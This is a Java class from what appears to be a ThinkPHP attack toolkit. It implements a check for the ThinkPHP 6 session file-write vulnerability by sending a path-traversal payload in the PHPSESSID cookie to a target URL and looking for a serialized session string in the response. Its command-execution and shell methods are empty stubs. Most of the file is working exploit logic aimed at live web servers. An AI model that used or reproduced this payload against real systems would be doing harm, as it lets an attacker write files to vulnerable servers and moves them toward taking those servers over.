content: package com.agony.demo.exploit;
  
  import com.agony.demo.common.BasePayload;
  import com.agony.demo.utils.Result;
  import com.agony.demo.utils.Tools;
  import com.github.kevinsawicki.http.HttpRequest;
  
  
  import java.util.HashMap;
  import java.util.Map;
  
  public class tp6_session_file_write implements BasePayload {
      @Override
      public Result checkVUL(String url) throws Exception {
          String randStr = Tools.getRandomString(7);
          url = url + "/" + randStr + ".php";
          Map<String, String> headers = new HashMap<>();
          headers.put("Cookie", "PHPSESSID=../../../../public/" + randStr + ".php");
          try {
              String res = HttpRequest.get(url).headers(headers).body();
              if (res.contains("a:1:{s:4:\"name\";s:8:\"thinkphp\";}")) {
                  return new Result(true, "ThinkPHP 6 session文件写入", "headers: Cookie: PHPSESSID=../../../../public/" + randStr + ".php");
              }
          } catch (Exception e) {
              e.printStackTrace();
          }
          return new Result(false, "ThinkPHP 6 session文件写入", null);
      }
  
      @Override
      public Result exeVUL(String url, String cmd) throws Exception {
          return new Result(false, null, null);
      }
  
      @Override
      public Result getShell(String url) throws Exception {
          return new Result(false, null, null);
      }
  }
  